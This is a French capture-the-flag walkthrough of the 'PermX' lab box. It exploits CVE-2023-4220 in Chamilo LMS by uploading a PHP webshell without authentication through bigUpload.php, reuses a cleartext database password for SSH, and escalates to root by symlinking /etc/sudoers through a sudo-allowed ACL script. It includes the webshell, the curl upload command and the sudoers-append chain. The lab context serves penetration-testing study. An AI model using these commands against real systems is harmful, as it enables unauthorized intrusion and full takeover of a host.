Chamilo LMS vulnérable à un upload non authentifié (CVE-2023-4220). Escalade via une mauvaise config sudo sur un script ACL avec symlinks.
Ports 22 et 80 ouverts. Le site redirige vers permx.htb. Fuzzing du header Host révèle lms.permx.htb, une instance Chamilo LMS.
ffuf -w subdomains-top100000.txt:FUZZ \
-u http://permx.htb/ -H 'Host: FUZZ.permx.htb' -t 200 -fw 18
# → lms.permx.htb (Chamilo LMS)
Le script bigUpload.php ne valide pas les extensions. Upload direct d'un webshell PHP sans authentification.
echo '<?php system($_GET["cmd"]); ?>' > shell.php
curl -F 'bigUploadFile=@shell.php' \
'http://lms.permx.htb/main/inc/lib/javascript/bigupload/inc/bigUpload.php?action=post-unsupported'
# Exécution : http://lms.permx.htb/.../files/shell.php?cmd=id
/var/www/chamilo/app/config/configuration.php → password DB en clair.$_configuration['db_password'] = '03F6lY3uXAP2bkW8';
Réutilisation du mot de passe → SSH avec mtz.
sudo -l révèle : (ALL:ALL) NOPASSWD: /opt/acl.sh. Le script applique des ACL sur des fichiers dans /home/mtz, mais ne vérifie pas les liens symboliques.
# Créer un symlink vers /etc/sudoers depuis /home/mtz
ln -s /etc/sudoers /home/mtz/root
# Donner les droits d'écriture via le script vulnérable
sudo /opt/acl.sh mtz rw /home/mtz/root
# Écrire dans sudoers via le symlink
echo "mtz ALL=(ALL:ALL) NOPASSWD: ALL" >> /home/mtz/root
sudo bash # root
CVE-2023-4220 est un exemple parfait de vulnérabilité de type "upload sans filtre", un vecteur classique qui reste pertinent dans les pentests d'applications LMS. Le vrai apprentissage vient du pivot : lire les fichiers de configuration et tester la réutilisation des credentials avant d'aller plus loin.